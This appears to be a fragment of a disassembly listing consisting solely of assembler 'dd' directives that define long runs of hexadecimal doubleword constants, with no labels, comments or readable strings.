		dd 1D091D39h, 39FF0000h, 5700005Dh, 478E11FFh, 0FF151044h
		dd 2FA58339h, 4038FF35h, 10A0D03h, 260000E1h, 58DDFFB9h
		dd 1B051E05h, 552D8FFh,	0FF352F07h, 0E1018A38h,	0F50B0000h
		dd 0E1010Ah, 350E0B00h,	16E138FFh, 0E1010A29h, 0E0B0000h
		dd 890B0000h, 0B9260000h, 3BBDDFFh, 0E1010Ah, 0FFB92600h
		dd 1C58C1h, 1B051E06h, 552D8FFh, 0FF352F07h, 0A031438h
		dd 0E101h, 10AF50Bh, 0B0000E1h,	38FF350Eh, 39FF034Bh, 4500002Ch
		dd 60B0000h, 1D09h, 890Bh, 0DDFF6626h, 10A03BBh, 260000E1h
		dd 58C1FF66h, 1E06001Ch, 0D8FF1B05h, 1A070552h,	10A2B85h
		dd 0B0000E1h, 0E1010AF5h, 0E0B0000h, 0D23AFF35h, 10444715h
		dd 7F07000Dh, 0B00001Dh, 39FF0906h, 50242B9h, 0C135206h
		dd 4D60316h, 3421B502h,	0DEFF0300h, 26460352h, 6D182FFh
		dd 452209h, 1D0906h, 641E0600h,	4800001Dh, 0FF00001Dh
		dd 6939h, 204A8A5h, 521060Ch, 265CD3FFh, 6000071h, 5CD3FF09h
		dd 0AC210E0Bh, 1D196207h, 39FF0000h, 38FF351Dh,	14000367h
		dd 1D64h, 0FFD639FFh, 12A400E6h, 6000000h, 6207AC21h, 1D19h
		dd 7339FFh, 9C655700h, 1D191703h, 4C000000h, 1D3C0141h
		dd 60B0000h, 7000309h, 1C3921FFh, 0E0000h, 661E0600h, 1E062B1Bh
		dd 0F3FF1B66h, 55661400h, 1A68CFFh, 0FF000078h,	5539h
		dd 1D19AAh, 0FF3B0600h,	3AFFD33Ah, 21FF0776h, 0CEFF0739h
		dd 0B60000FEh, 1D1914h,	0C039FF00h, 0ABFFh, 0D8EFC457h
		dd 0EF8939FFh, 7CD8h, 76FF6001h, 1439FF03h, 7054E03h, 3107FE40h
		dd 1A39FF05h, 0E000008h, 302D9317h, 33371604h, 39FF0D36h
		dd 10040935h, 0B986FF03h, 57F0700h, 0FF09BEFFh,	0FF158F39h
		dd 0C4FF2ED3h, 993EC9h,	991E0600h, 7000000h, 7B62h, 359F39FFh
		dd 10538FFh, 2D39FF05h,	15BC39FFh, 2F81FF01h, 60312E4h
		dd 2F81FF09h, 0FF013E15h, 0A002F83h, 0FF000501h, 0FF0195C4h
		dd 2F85h, 820142h, 15031600h, 6F00001Dh, 99h, 3ED5C4FFh
		dd 81FF010Ah, 99142Fh, 0C4FF0000h, 7003ED9h, 7B62h, 7839FFh
		dd 0FF655700h, 2911FECEh, 6639FF0Dh, 0E03h, 70C1E06h, 0CECEFFh
		dd 9914h, 0E1C4FF00h, 7B3Eh, 35BB39FFh,	1A2138FFh, 7B17h
		dd 42274C00h, 7C052208h, 600006Dh, 0C142509h, 1D0915h
		dd 0ED39FF00h, 54E035Eh, 0A80C1400h, 906035Eh, 1D1503h
		dd 9060B00h, 3906030Ch,	390C390Ch, 0CA1880Ch, 0A10CA101h
		dd 740Ch, 7B010C75h, 550000h, 4F404007h, 550000h, 1E447107h
		dd 0F9000074h, 990C7503h, 9C0F0000h, 7B01h, 740104h, 10F1900h
		dd 35000074h, 7801h, 0E56F006Fh, 0B1D05FFFh, 796901D7h
		dd 0D1FF9800h, 0C6086A71h, 0A20079E2h, 0ED1E0A35h, 22FF0079h
		dd 10AC87Ah, 28007969h,	10A0315h, 2600006Ch, 0C4FF0000h
		dd 0C7E0189h, 0D8FF0C7Eh, 110C7E52h, 0CFFh, 6C53h, 6301E501h
		dd 12D7A16h, 6000052h, 0FFD029FFh, 0A0354DEh, 6C01h, 13B010Fh
		dd 0F00006Ch, 791B01h, 193B0104h, 13B010Fh, 1900791Bh
		dd 1B010F19h, 14000079h, 0FF00791Bh, 0A048839h,	0A00791Bh
		dd 0D0D0FF3Ch, 791B010Fh, 39FF0D00h, 39BFFEFh, 0D000089h
		dd 90D39FFh, 69140038h,	10A0079h, 6F007930h, 991400h, 0C4FF0000h
		dd 14156981h, 9BFF3D0Ch, 79090603h, 17D1FF00h, 79ED01h
		dd 0AB51D2FFh, 0D1FF0079h, 79DB0117h, 2ED0FF00h, 3F90C14h
		dd 0B007915h, 790906h, 79691400h, 30010A00h, 0FF6F0079h
		dd 28D511h, 9914h, 81C4FF00h, 3D029FFh,	6C53h, 4201E501h
		dd 12D7A16h, 6000052h, 0FFD529FFh, 760354DEh, 0D101h, 820127h
		dd 0FF017600h, 270000B6h, 79390D01h, 17D1FF00h,	79ED01h
		dd 6DDED2FFh, 3000D01h,	1A00004Bh, 820127h, 82017600h
		dd 1270000h, 300079ABh,	0FF007939h, 10D5BD1h, 0FF0079DBh
		dd 176F73Ah, 27000082h,	79AB01h, 0FF0D0176h, 10D59D0h
		dd 79DB010Dh, 82C300h, 3110FF00h, 0D0A6D93h, 10F5C3Ch
		dd 1500006Ch, 10FF0079h, 81D8FF31h, 39FF0000h, 1D092Dh
		dd 79150D00h, 9060B00h,	14000079h, 0A007969h, 793001h
		dd 0D511FF6Fh, 99140028h, 0FF000000h, 0A01E81C4h, 354DEFFh
		dd 6C0104h
		dd 3110FF00h, 2EAD8FFh,	1040305h, 0F007932h, 2389FF01h
		dd 14000000h, 2389FFh, 39FF0D00h, 8DFF4EA6h, 4000023h
		dd 238DFF01h, 550000h, 0BB89FF1Bh, 0FF193A08h, 0E00A8h
		dd 791500h, 0CDC4FF00h,	0FF20013Eh, 87FF3A39h, 906002Eh
		dd 6E00001Dh, 0FF294519h, 60FFCB39h, 9060000h, 796914h
		dd 7930010Ah, 14006F00h, 99h, 181C4FFh,	600007Bh, 0D43AFF3Bh
		dd 4A38FFh, 0C140000h, 14B6039Fh, 99h, 3EE1C4FFh, 0FF00007Bh
		dd 11FFA439h, 80FF478Eh, 96FFB2B9h, 7054E03h, 3107FE40h
		dd 9939FF05h, 930204F5h, 1604302Dh, 0D363337h, 9B039FFh
		dd 2051004h, 5020405h, 2E52EBFFh, 0B502042Fh, 0FF02F302h
		dd 0D2FFA2C5h, 2A122D94h, 0FF120435h, 2DC1D2C1h, 0FFEAD8FFh
		dd 0FF70A410h, 3AFF1F3Ah, 654C466h, 6AC1352h, 0B70C1352h
		dd 0C0FFF803h, 0C02D7D0h, 250C0700h, 0BEFF5A07h, 5B031109h
		dd 5B032705h, 0D4D9FF67h, 20F039Fh, 0E23829FFh,	0C1FF1303h
		dd 2144B2D3h, 317DDFFh,	36AFFF8h, 0C0242h, 7250C07h, 0C8CEFF5Ah
		dd 60397FFh, 5B031109h,	0D4D9FF67h, 3D111FFh, 29FF020Fh
		dd 21443D3Ah, 363DDFFh,	2426975h, 0C07000Ch, 0FF5A0725h
		dd 204940Bh, 0FFD4D9FFh, 55B0357h, 675B030Ah, 9FD4D9FFh
		dd 0AD020F03h, 0FF870705h, 51295C4h, 0C7FF1BACh, 8903022Eh
		dd 21FF1708h, 311B83B7h, 0C31235Fh, 0DDFF2110h,	167175CDh
		dd 8F67A617h, 7050223h,	8707002Ah, 0B9C1FF07h, 6000507h
		dd 10210609h, 0D120FF65h, 25081503h, 3921FF07h,	5B94C7FFh
		dd 0FF3A29FFh, 0CFF39C1h, 5F020F00h, 0FF7229FFh, 3807901Ah
		dd 0CEFF0700h, 60B15F1h, 2514009h, 3820B0h, 0F1CEFF07h
		dd 9060B15h, 7CFF4040h,	0FFB06702h, 20675AD2h, 901AFFCFh
		dd 0FFC13AFFh, 7539h, 0CF0C0227h, 901AFFh, 7003807h, 0F1CEFFh
		dd 9A01007h, 5A02FF40h,	0C5B21FFh, 42F2E52h, 9139FF02h
		dd 0EA39FF02h, 0FF051002h, 0C02E3D1h, 5939FF12h, 0FF0D3AFFh
		dd 479DCD11h, 0FF151044h, 10F0D12h, 1D39A0h, 0C84600h
		dd 0E00h, 0DCFF3C27h, 18010421h, 118010Fh, 0FFA00118h
		dd 40DC8CEh, 113C1801h,	0D0D0E0Bh, 1D1B010Ah, 60B0000h
		dd 39FF2809h, 0A031F54h, 1D1B01h, 2B2600h, 4090600h, 0A3060310h
		dd 54DEFF10h, 0AE114203h, 3AFF0C13h, 0C0104DCh,	10C010Fh
		dd 0DD11FF0Ch, 0C969FF06h, 1C4603DAh, 0FF2ADE00h, 1C900Ah
		dd 109060Bh, 0DD11FF0Ch, 8816B00h, 0B001C22h, 1C0906h
		dd 2 dup(1C970Bh), 8439FF28h, 2EAE6001h, 0B611h, 21FFA306h
		dd 1B03083Ah, 89D0FF11h, 0FF290806h, 3B21A39h, 783210Eh
		dd 0CEFF851Ah, 2552069Ah, 0B929FF07h, 0B001C15h, 21060906h
		dd 27920705h, 88FF03B2h, 50700BBh, 0B4260000h, 9060000h
		dd 30554h, 2B195A07h, 350E0000h, 15C53AFFh, 0FF000502h
		dd 50299C4h, 2F2E0510h,	2B50204h, 0FFBA29FFh, 1B03087Fh
		dd 0DE5A83FFh, 0FF0877FFh, 0FF02EAD1h, 11FFA4D9h, 5BEA11EBh
		dd 0BA29FF05h, 7BFF7DEAh, 0FF090603h, 2049939h,	6252DDFFh
		dd 0D33AFF55h, 2493AFFh, 15031005h, 0FB11FF06h,	0E0Bh
		dd 25010Ah, 0D22600h, 0A0D0E00h, 2501h,	0E0Bh, 0FF26196Eh
		dd 0FF0DB9DDh, 409A739h, 7000310h, 4FF72h, 0BB88FF00h
		dd 69FF010Ah, 603192Ch,	0B001C09h, 0B001C97h, 0F001C97h
		dd 0B929FF02h, 0B001C15h, 2F2E0906h, 6050204h, 0C7FF0521h
		dd 725B1D0h, 0E46B72h, 3AFF0E00h, 7000D08h, 70720734h
		dd 60000E4h, 6001C09h, 1C681Eh,	0FF110700h, 603D10Bh, 1C681Eh
		dd 2E001C48h, 1C6B88h, 6B010F19h, 104001Ch, 55001C6Bh
		dd 1C7500h, 1C113204h, 7005500h, 2E03ED11h, 1CBB18FFh
		dd 0F2120400h, 0C010A1Ch, 19D139FFh, 3090603h, 0D739FF15h
		dd 9060319h, 3D3D2FFh, 0B001C15h, 906h,	3C720700h, 25EA7805h
		dd 5CDDFF07h, 1D26001Ch, 9060000h, 0C4FF5907h, 25B13ED1h
		dd 402E089Ah, 44479D1Eh, 7001510h, 0F5D9FF5Ah, 9060000h
		dd 9F0142h, 13036400h, 2C6Bh, 2621FF13h, 74130000h, 882E0000h
		dd 19000074h, 74010Fh, 74010400h, 550000h, 2C75h, 0C013204h
		dd 0A429FF02h, 740104h,	7005500h, 0FF1E44E4h, 2621h, 2C7503F9h
		dd 12040000h, 10C01B0h,	2621FFh, 10F1900h, 2621FFh, 78013500h
		dd 156F0000h, 3EFDC4FFh, 0DFFF1B0Ch, 0DF92072Eh, 2EF6FFh
		dd 339A4h, 759207h, 0B2FF9207h,	7B4E0000h, 1E060000h, 4B00007Bh
		dd 0F732FFh, 0A8FFF400h, 2C6801h, 0FF002600h, 54EBA39h
		dd 2EDAFF07h, 6AFF9207h, 0FFF40000h, 0FF922E80h, 0A500241Eh
		dd 72EDAFFh, 72FF92h, 25B9F400h, 2CF207h, 0FF052600h, 0C4FFBBC1h
		dd 25B13ED1h, 725089Ah,	479D0D92h, 62569FFh, 34020F10h
		dd 4D6D9207h, 9207B600h, 77FFh,	5269FF4Eh, 71920700h, 2EF7FFh
		dd 0A778557h, 49269002h, 5210E00h, 0D9FF9207h, 570000F7h
		dd 2E83FF85h, 24D292h, 2EDCFFA5h, 7C619207h, 85570000h
		dd 0F2072566h, 6004926h, 0FF340709h, 0B13ED1C4h, 25089A25h
		dd 7C689207h, 0C4570000h, 2916D8EFh, 1D7F0700h,	60B0000h
		dd 0F139FF09h, 88FF03A3h, 1DBBh, 5210E0Bh, 1D5E14h, 0C339FF00h
		dd 7BFF65B3h, 0FF010A03h, 5E012F81h, 1Dh, 0F1CEFF4Ch, 1D22EAh
		dd 9060B00h, 4500001Dh,	1D1Fh, 3AFF3B06h, 507259Eh, 0E00h
		dd 1D3D1E06h, 7000000h,	5203FF40h, 1D3Dh, 1D3D4Bh, 39FF0D00h
		dd 0E000070h, 1D3D1400h, 39FF0000h, 3819h, 772FFF4h, 14B60005h
		dd 1D5Eh, 35B239FFh, 1A1318FFh,	3100647h, 64FE39FFh, 83AD4E03h
		dd 4FFF1107h, 1B9B1303h, 72EDFFFh, 20F0D72h, 0D03000Ch
		dd 7D39FFh, 0C020E00h, 5210521h, 0B9C5FF77h, 5239FF0Dh
		dd 0FF0E0000h, 1AAD5ADBh, 13050700h, 0AD310759h, 81DBFFh
		dd 1C89FF0Eh, 302D9317h, 33371604h, 39FF0D36h, 6005232h
		dd 5100409h, 2040502h, 7F69FF05h, 373FF32h, 12050204h
		dd 77FF0F05h, 50D1FF08h, 0FF170300h, 0D1FF087Fh, 5A10FFFAh
		dd 7FFF4405h, 81051708h, 39FF03EAh, 2E02FF28h, 5120400h
		dd 877FF44h, 69FF0517h,	0CEFF4077h, 2E52060Fh, 0B502042Fh
		dd 0BA29FF02h, 3087FFFh, 5AF7FF1Bh, 5022305h, 0BA29FF12h
		dd 0FF0877FFh, 0FF44EAD1h, 0FF4B0877h, 0A7549538h, 7250846h
		dd 0F2FF2A5Ah, 9060000h, 5A070003h, 0F266FFh, 0FF350E00h
		dd 0A298938h, 2621FF01h, 3D260000h, 1B83AD3Eh, 3452DEFFh
		dd 50D8FF1Bh, 584BA783h, 5129FF17h, 2C11h, 22080513h, 0B00002Ch
		dd 7AC210Eh, 38FF352Fh,	45221621h, 9EFF00h, 6090600h, 2F07AC21h
		dd 1D38FF35h, 46080502h, 9060000h, 7AC2106h, 38FF352Fh
		dd 20A0378h, 460805h, 15090600h, 0FF072508h, 39FF3921h
		dd 90603ECh, 1303B801h,	2639FFh, 0A101300h, 10A1001h, 2639FFh
		dd 7FF4500h, 52C1FFB9h,	1A00002Ch, 2C52C0FFh, 354B0000h
		dd 0FF1E0603h, 2639h, 52C0FF11h, 4B00002Ch, 16C8CEFFh
		dd 2639FF13h, 0FF110000h, 2C52C0h, 0D9FF1100h, 0FF1303BBh
		dd 2639h, 0C0FF0770h, 2C52h
		dd 334FF4Bh, 30F38FFh, 46030C13h, 0FF072508h, 0A32B3921h
		dd 1090603h, 13D16BFFh,	2631FFh, 2C2200h, 0F6FF4500h, 90603E8h
		dd 130C0766h, 3326DDFFh, 6000036h, 0D207201Eh, 7250815h
		dd 0DDFF130Ch, 0FF851A54h, 31FF528Fh, 0B7000026h, 0FF480000h
		dd 963Ah, 4B0000B7h, 31FF1E4Ch,	0FF000026h, 0A4D3h, 0C83AFF48h
		dd 31FF1E06h, 0FF000026h, 0A4D3h, 0E2D3FF4Bh, 291654C4h
		dd 1D7F0700h, 60B0000h,	0D739FF09h, 2ED0FF66h, 2F23FF14h
		dd 39FF0000h, 2EC0FFD2h, 2600000Eh, 5E39FF00h, 0E0000h
		dd 2F23FF14h, 39FF0000h, 0F1CEFFC5h, 65570000h,	13D0C6FFh
		dd 1D61h, 1D48h, 610105A9h, 1B00001Dh, 2F23FF62h, 39FF0000h
		dd 0F1CEFFD9h, 65570000h, 130336FFh, 77h, 0FF1400B7h, 2F23h
		dd 5839FFh, 220E00h, 0E0B0000h,	77h, 0FFA4D3FFh, 0FF29812Bh
		dd 1EFF2639h, 30E0000h,	1D0906h, 39FF2800h, 1FE6FFCFh
		dd 28F6FFh, 0E032800h, 22h, 0E0Bh, 1E060026h, 77h, 0B7h
		dd 1D6814h, 1E39FF00h, 770E0094h, 0FF000000h, 10AA4D3h
		dd 0ABFFh, 0E0B00h, 0CD39FF00h,	0CECEFFh, 0EFC45700h, 0FF032FD8h
		dd 700B986h, 0B004D7Fh,	39FF0906h, 24970356h, 88FF0B00h
		dd 11FF6DDEh, 4616FD54h, 13FE2105h, 0FF38DDFFh,	603D11Bh
		dd 2E004D39h, 10F5188h,	0FF510151h, 0EA11EB11h,	0B00007Dh
		dd 0B00000Eh, 28002497h, 0FFFD39FFh, 0A01FEBh, 5BEADE00h
		dd 1500007Bh, 0EADE004Dh, 0B00007Dh, 0FF050906h, 0FF010ABCh
		dd 82056Eh, 5288FF00h, 0FF010A15h, 2001056Eh, 35539FFh
		dd 0Eh,	0FF41010Ah, 4E39h, 9FF62A5h, 0FF000028h, 5939h
		dd 19FF6557h, 6A8103D5h, 0FF0CC608h, 11FF57EEh,	0FF001C5Ch
		dd 81C87A22h, 99C6086Ah, 0A150000h, 2F28FF1Eh, 22FF0000h
		dd 10AC87Ah, 28000099h,	0FF0C010Ah, 0A8DB39h, 62090600h
		dd 2809FFh, 0CF39FF00h,	5700B0FFh, 0D58FFF65h, 0FF140003h
		dd 2B2Bh, 6939FFh, 83AD4E00h, 9FF6207h,	0FF000028h, 822739h
		dd 3FE6557h, 7B1E06h, 0FF327A00h, 403D0D1h, 7B01h, 0FFBE1904h
		dd 0E501D031h, 821032h,	90010F00h, 1E06004Dh, 48004D90h
		dd 358001Ch, 42DB3AFFh,	7A031501h, 5CF012Dh, 104D21Bh
		dd 400007Bh, 31FFBE19h,	7801D3h, 53031600h, 8A1B0501h
		dd 7A031501h, 57FF012Dh, 18A1B05h, 15130315h, 4D906207h
		dd 1C4800h, 1E060358h, 9FFF0715h, 5EE0176h, 76004D68h
		dd 0FF050F01h, 5EE2869h, 24220539h, 0E0B00h, 0EE012700h
		dd 2869FF05h, 86050Fh, 0FF14B600h, 2B23h, 0A20010Ah, 40D4101h
		dd 2809FF01h, 0FF060000h, 60BC511h, 0FF3A0809h,	0A00B569h
		dd 10A2001h, 0FF010441h, 2809h,	21FF4C00h, 2422081Fh, 9060B00h
		dd 0B9DAFF05h, 13089A00h, 8039FF0Ch, 7401h, 0FF175206h
		dd 2809h, 39FF3B06h, 0D1FF35E7h, 502D2h, 0FF0A0400h, 2B23h
		dd 0EAD1FFB3h, 3A310FFh, 99010Ah, 39FF2800h, 1D1FBE0Ah
		dd 0A280000h, 39FF0C01h, 97FF13h, 8090600h, 0B001C22h
		dd 573AFF0Eh, 0BB29FF07h, 0FF280024h, 0C6FFE939h, 8709062Eh
		dd 0E00h, 4D6B1E06h, 0FF034800h, 94D2h,	23FF0A04h, 0B300002Bh
		dd 0FFEAD1FFh, 0A210h, 24801400h, 89A0000h, 23920725h
		dd 32A50000h, 7251671h,	4E006292h, 600009Fh, 9F1Eh, 0F0C174Bh
		dd 7B1E0C01h, 3480000h,	0BED139FFh, 600001Fh, 7B1Eh, 522164Bh
		dd 7B14h, 0FF3239FFh, 7B5613E0h, 0A040000h, 0F00009Fh
		dd 0EFFF3Dh, 7B14h, 3939FF0Dh, 2E8BFFh,	7B14000Eh, 39FF0000h
		dd 0FFF4037Bh, 14342EC1h, 0FF00009Fh, 0E623939h, 2809FFh
		dd 0FF3B0600h, 0A13Ah, 39FF0026h, 2EDAFFF1h, 0E00h, 740127h
		dd 5393000h, 10A2001h, 45000074h, 60B0000h, 27004D09h
		dd 0B105EE01h, 17089A25h, 55B05h, 19920700h, 2EC4FFh, 2C0BFFA4h
		dd 0C140000h, 74E0C7FFh, 10F0000h, 6003443h, 0C5003439h
		dd 347CFFh, 18E409FFh, 0C80FFh,	0A0D2800h, 241D01h, 0FF09060Bh
		dd 0C4FFE539h, 14B6002Eh, 2809FFh, 6A39FF00h, 0FF570000h
		dd 6478E11h, 254B4810h,	39C1FF07h, 0EEFFh, 6DDE88FFh, 875411FFh
		dd 39C1FF07h, 0A500002Fh, 0D019FF11h, 8B3AFF03h, 100204D6h
		dd 2D100204h, 5DEA3030h, 372FF11h, 30100204h, 39FF7DEAh
		dd 0B1F4CC6h, 0C1FF07B6h, 0E839FF5Ch, 40401F50h, 0C5FF219Fh
		dd 0DFFF1BD1h, 0A8F6072Eh, 422F1F4Ch, 2045102h,	21052151h
		dd 422F7705h, 21060502h, 39FF482Ah, 2F1F4CC3h, 1FF0242h
		dd 4032F01h, 5801FF02h,	3823E0Ch, 2422F77h, 2321060Ch
		dd 2EDFFF1Bh, 0AFF2307h, 4F4E03FEh, 4F02044Fh, 0FF1BAC21h
		dd 58AC50D8h, 0FFA7D1FFh, 0D03D0D1h, 0F8339FFh,	783AD02h
		dd 37FFF11h, 5607000Dh,	39FF1AADh, 0EFFFEEh, 7090600h
		dd 7D1611C2h, 4090600h,	4030512h, 30C5F02h, 0CE5F0204h
		dd 2916F3FFh, 0FF310700h, 0F7FFD429h, 60B03D0h,	0C070009h
		dd 1716D26Bh, 0FFD429FFh, 6E03D0DDh, 4302D45h, 36333716h
		dd 2739FF0Dh, 2E89FFh, 10040906h, 7000D03h, 53FF057Fh
		dd 13D1FFFFh, 845A0759h, 1FF0104h, 10A0D2Dh, 2F85FFh, 9060B00h
		dd 493905h, 4522h, 409060Bh, 10F4F01h, 49394Fh,	0F3B882Eh
		dd 3B013B01h, 6EB11FFh,	327F69FFh, 4658F3FFh, 0EADE0049h
		dd 0B00007Dh, 490906h, 305BEADEh, 10A0049h, 0B004932h
		dd 0B004997h, 305288FFh, 327A0049h, 40334FFh, 493001h
		dd 0FFBE1904h, 0E501D031h, 0D100FF32h, 0FC39FF03h, 10F0011h
		dd 1B181E18h, 116DDFFh,	0FF0305B2h, 142DB3Ah, 530305B2h
		dd 0D2543AFFh, 49300104h, 0BE190400h, 1D331FFh,	16000078h
		dd 0AFF5303h, 0B2018A54h, 41530305h, 5B20142h, 0B21E0603h
		dd 1B186205h, 5B2018Ah,	0B21E0603h, 2766405h, 76000010h
		dd 1276A02h, 461002A0h,	0B00001Dh, 2700000Eh, 1002h, 536A0227h
		dd 11FF33BDh, 116227F4h, 7006F62h, 0DF7192h, 49090600h
		dd 1B1E0600h, 327A0049h, 0D0372FFh, 0FB939FFh, 6C01h, 6C1E06h
		dd 0D004B00h, 4930010Ah, 0FF002600h, 49099939h,	10F1900h
		dd 4004969h, 6C01h, 491B0A04h, 0FF3D0F00h, 6C1400EFh, 0FF0D0000h
		dd 0D2A59139h, 491B1400h, 0B639FF00h, 6C1400h, 2739FF00h
		dd 0CBF4032Bh, 4932010Ah, 1EFF2600h, 1D2208h, 9060B00h
		dd 20A0000h, 460805h, 6090600h,	40078321h, 2D01FF62h, 11401B1Ah
		dd 1C1Bh, 69144F14h, 1040049h, 0D2D01FFh, 85FF010Ah, 0B00002Fh
		dd 0FF050906h, 57002E86h, 9BD8EFC4h, 8CFF4007h,	9839FFB9h
		dd 705020Fh, 0D96FF40h,	5560700h, 0FFE839FFh, 90600EBh
		dd 31070003h, 0FF137D05h, 0D15B9DDh, 98639FFh, 0D031004h
		dd 57F0700h, 3FB32FFh, 39FF0906h, 0F503B403h, 0E1010Ah
		dd 0E0B00h, 5882E00h, 105010Fh,	0EB11FF05h, 5DEA3053h
		dd 4603DB32h, 0EADE001Ch, 0B00007Dh, 1C0906h, 1C970Bh
		dd 0A539FF28h, 11FF05AAh, 0FF6B00EBh, 0A29087Bh, 0E101h
		dd 0E1970Bh, 9060B00h, 2C0AFFh
		dd 1C6001h, 87BFFDEh, 9938FF03h, 22001C39h, 2800001Dh
		dd 0DB0739FFh, 0E0000h,	3C39FF00h, 0C4570000h, 3A16D8EFh
		dd 4E036AFFh, 63400705h, 5310700h, 0E31039FFh, 460E0000h
		dd 3939FF0Dh, 62E82FFh,	3100409h, 7F07000Dh, 60B001Ch
		dd 0B239FF09h, 5A439FFh, 1D150000h, 0FF280000h,	0C39h
		dd 21060906h, 7FE1B83h,	0C0FFE292h, 3988FF2Eh, 2B03E4A3h
		dd 1D0502h, 0A0D2800h, 2F83FF01h, 9060B00h, 3BFF022Dh
		dd 3987FF54h, 3F8D9FFh,	5022Bh,	1D3E00h, 0A0D2800h, 2F83FF01h
		dd 9060B00h, 1D3D01h, 0A0D2800h, 2F83FF01h, 9060B00h, 39FF001Ch
		dd 5700007Ah, 6D8EFC4h,	11079B21h, 0D1D10FFFh, 422F9813h
		dd 81C1FF02h, 6339C1FFh, 83AD4E03h, 50D8FF1Bh, 77030034h
		dd 360FF11h, 0D1C5FF13h, 2EDFFF1Bh, 63EDF607h, 21FF4E03h
		dd 2422F3Ah, 2B121FFh, 0FF1B05CEh, 770550D8h, 0DAEFF40h
		dd 63DC39FFh, 70C4E03h,	725B340h, 39FF0C56h, 600002Ch
		dd 11C20709h, 6007D16h,	5120409h, 31070003h, 0E007D0Ch
		dd 0B9DDFF07h, 39FF0D15h, 2E80FF28h, 10040906h,	7000D03h
		dd 0B001C7Fh, 39FF0906h, 3C01D1A5h, 0D100001Dh,	0C02h
		dd 0FFF039FFh, 4E002ED8h, 620783ADh, 0FF001C19h, 0FF358E39h
		dd 25162138h, 1D5E14h, 66DEFF00h, 1D97FFh, 0DE81FF00h
		dd 4280000h, 1C1901h, 8814C00h,	1D22h, 0FF09060Bh, 0DAFF5439h
		dd 89A00B9h, 0F6FF2F3Ah, 1C645BD1h, 17520600h, 6001C19h
		dd 66DEFF3Bh, 1D0Ch, 4616CB55h,	81FF001Ch, 3139FFDEh, 90603B4h
		dd 28001C15h, 0FFE339FFh, 6002EDAh, 0E005C09h, 2D10000h
		dd 0C02D10Ch, 0C480000h, 5500001Dh, 1D3D143Bh, 9A000000h
		dd 92072508h, 0FFC8CEFFh, 0A5002ED8h, 17030432h, 6001C19h
		dd 0AC3AFF3Bh, 2EDBFFh,	1C634Eh, 1C631E06h, 504B00h, 0FF002600h
		dd 5AABD39h, 39FF0276h,	1C7159h, 1C225230h, 0A0D2800h
		dd 2F81FF01h, 1C0909h, 39FF0227h, 89A00B9h, 7BAh, 92070000h
		dd 2ED80FFFh, 13FFA400h, 2Fh, 0D1FF0507h, 1C6401FAh, 38010F00h
		dd 0AFF001Ch, 0FF000054h, 0FF18E409h, 0C80h, 0B000045h
		dd 39FF0906h, 2ED8FF32h, 1914B600h, 39FF001Ch, 18FF35BBh
		dd 6471A13h, 134B4810h,	7D1C5FFh, 0FF020470h, 70058C1h
		dd 7C39C1FFh, 83AD4E03h, 50D8FF1Bh, 77030034h, 38111h
		dd 80FFF607h, 10211FF4h, 11771021h, 0FF291630h,	3380839h
		dd 1107054Eh, 403B6FFh,	1002F302h, 10B00210h, 482AAD02h
		dd 382939FFh, 20204E03h, 21200204h, 770C210Ch, 0C02422Fh
		dd 1B232106h, 72EDFFFh,	0F510FF23h, 31FF4E03h, 2422F3Ah
		dd 16D131FFh, 5831FF17h, 0AC5221FFh, 50D8FF1Bh,	0D1FF58ACh
		dd 0D0D1FFA7h, 7000D03h, 39FF0556h, 12D10991h, 3B729FFh
		dd 0D1050204h, 0FF167027h, 770C50D1h, 216D8FFh,	0D73AFF41h
		dd 20C0204h, 0D9FF2705h, 214403D0h, 0D1FF58ACh,	0FF03F9A7h
		dd 204D73Ah, 5A09FFCEh,	0DDFF2705h, 0D03D0h, 7D053107h
		dd 3055613h, 16050204h,	5166FF7Dh, 456E031Ah, 1604302Dh
		dd 0D363337h, 91539FFh,	0FF021004h, 3FFF529h, 0FFFA4590h
		dd 90603F2h, 65052106h,	0FF17036Dh, 20A91DDh, 725080Ch
		dd 6097572h, 76650521h,	2DC11703h, 0F0C0C17h, 21FF5F02h
		dd 0C0C02EAh, 120C0204h, 459D9FFh, 91D9FF02h, 8121FF02h
		dd 0FF720725h, 0F2FFC8CEh, 6090603h, 35850521h,	91DDFF02h
		dd 2DC10204h, 2422F5Dh,	0FFF529FFh, 1539003h, 78h, 0D9FF0204h
		dd 6474651h, 0FF452210h, 0FFF79003h, 0FF18D9C4h, 5021621h
		dd 1505020Ah, 8100725h,	1007AF5Bh, 7AC1308h, 0FF150D5Eh
		dd 4739h, 21060906h, 7D139FFh, 0D103FF11h, 7000D03h, 0FF3939FFh
		dd 0E03F039h, 0E0B6EE5h, 0D03C8h, 0FF00E907h, 0FF84D5C4h
		dd 39FF9003h, 0E03C90Eh, 0FF5A0725h, 0E03F039h,	111B8321h
		dd 0DB89D0FFh, 0C5B08h,	21DC4FFh, 0E6FF1B20h, 0C022021h
		dd 5A072508h, 603C969h,	7250809h, 3C9EE5Ah, 31FF210Eh
		dd 0FF111BD1h, 0C0C89D0h, 8B29FF06h, 0FFD43AFFh, 44478438h
		dd 7000D10h, 0C6FF057Fh, 75913F0h, 3C9705Ah, 1D97h, 5162A50Bh
		dd 0FF9CD1FFh, 51019038h, 269FF4Ch, 0FF2D09FFh,	600006Ah
		dd 1D09h, 1764F13h, 1FF0118h, 0A0D182Dh, 1D3001h, 0E0B00h
		dd 641E0600h, 0AFF1105h, 141503D2h, 0CEFF0564h,	90603F1h
		dd 0F1CEFF05h, 5194E03h, 0FF980519h, 5195ADFh, 24F1CEFFh
		dd 0DB3AFF00h, 0CEFF0142h, 30024F1h, 0CEFF0198h, 0F0024F1h
		dd 15051901h, 0F1CEFF05h, 5090603h, 0FFD539FFh,	4E03F1CEh
		dd 53C053Ch, 642EC0FFh,	0F1CEFF05h, 0B102A403h,	5641425h
		dd 14000519h, 0CEFF053Ch, 90603F1h, 0CECEFF05h,	53CAA03h
		dd 3C170519h, 0FF053D05h, 0FF059002h, 0E03CECEh, 1040000h
		dd 4C053Dh, 14000D00h, 0CEFF053Dh, 0E03CEh, 14000D00h
		dd 0CEFF053Dh, 0E03CEh,	14000D00h, 0CEFF053Dh, 0E03CEh
		dd 14000D00h, 0CEFF053Dh, 0E03CEh, 661E0600h, 381316DAh
		dd 24480024h, 0FF005500h, 131652DEh, 7A002463h,	13166832h
		dd 48002438h, 550024h, 1652DEFFh, 5013h, 169C327Ah, 243813h
		dd 55002448h, 52DEFF00h, 24711316h, 6C327A00h, 381E0603h
		dd 24480024h, 0FF005500h, 0F71652DEh, 0FF004964h, 49645BD1h
		dd 5E012700h, 64055E05h, 1760024h, 27002464h, 499001h
		dd 49900176h, 90012700h, 10A0024h, 45002490h, 39FF0000h
